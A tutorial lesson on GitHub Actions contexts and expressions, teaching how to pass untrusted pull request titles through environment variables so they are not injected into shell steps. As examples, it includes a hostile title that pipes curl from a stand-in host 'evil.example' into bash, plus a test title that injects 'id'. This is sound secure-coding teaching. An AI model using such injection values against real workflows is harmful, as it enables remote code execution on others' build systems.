Workflow foundations

Read contexts and expressions

Use event, repository, job, matrix, runner, needs, vars, and secrets data without confusing evaluation boundaries.

Workflow YAML has two evaluation worlds. Expressions like ${{ github.ref }} are evaluated by GitHub Actions before the step runs. Shell variables like $GITHUB_REF are evaluated by bash later.

Mix them up and you get subtle bugs, especially with untrusted text from pull requests.

Common contexts

GitHub exposes data through contexts:

  • github: event name, ref, actor, repository
  • env: environment variables for the step
  • secrets: secret values (never log them)
  • vars: repository or organization variables
  • matrix: current matrix combination
  • needs: outputs from jobs this job depends on

Example: deploy only from main:

jobs:
  deploy:
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    steps:
      - run: echo "Deploying ${{ github.sha }}"

github.sha is the commit that triggered the run. Actions evaluates the expression and passes the result to the shell.

Pass untrusted data through env

Never splice pull request titles or branch names directly into a shell script:

# risky
- run: echo "Title is ${{ github.event.pull_request.title }}"

A title like "; curl evil.example | bash; echo " becomes code.

Pass the value through an environment variable and quote it in the shell:

- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "Title is ${PR_TITLE@Q}"

${PR_TITLE@Q} is bash quoting syntax. The title stays data, not syntax.

Prove it with a hostile title

Open a test pull request with shell characters in the title: test"; id; echo ".

Run the workflow. The job should treat the whole string as plain text. If you see command output from id, your quoting failed.

Hand the workflow file to someone else. They should understand the boundary without you explaining it live.

Try this on your own project: add one env: block for every expression you currently embed inside a run: string.

Lesson completed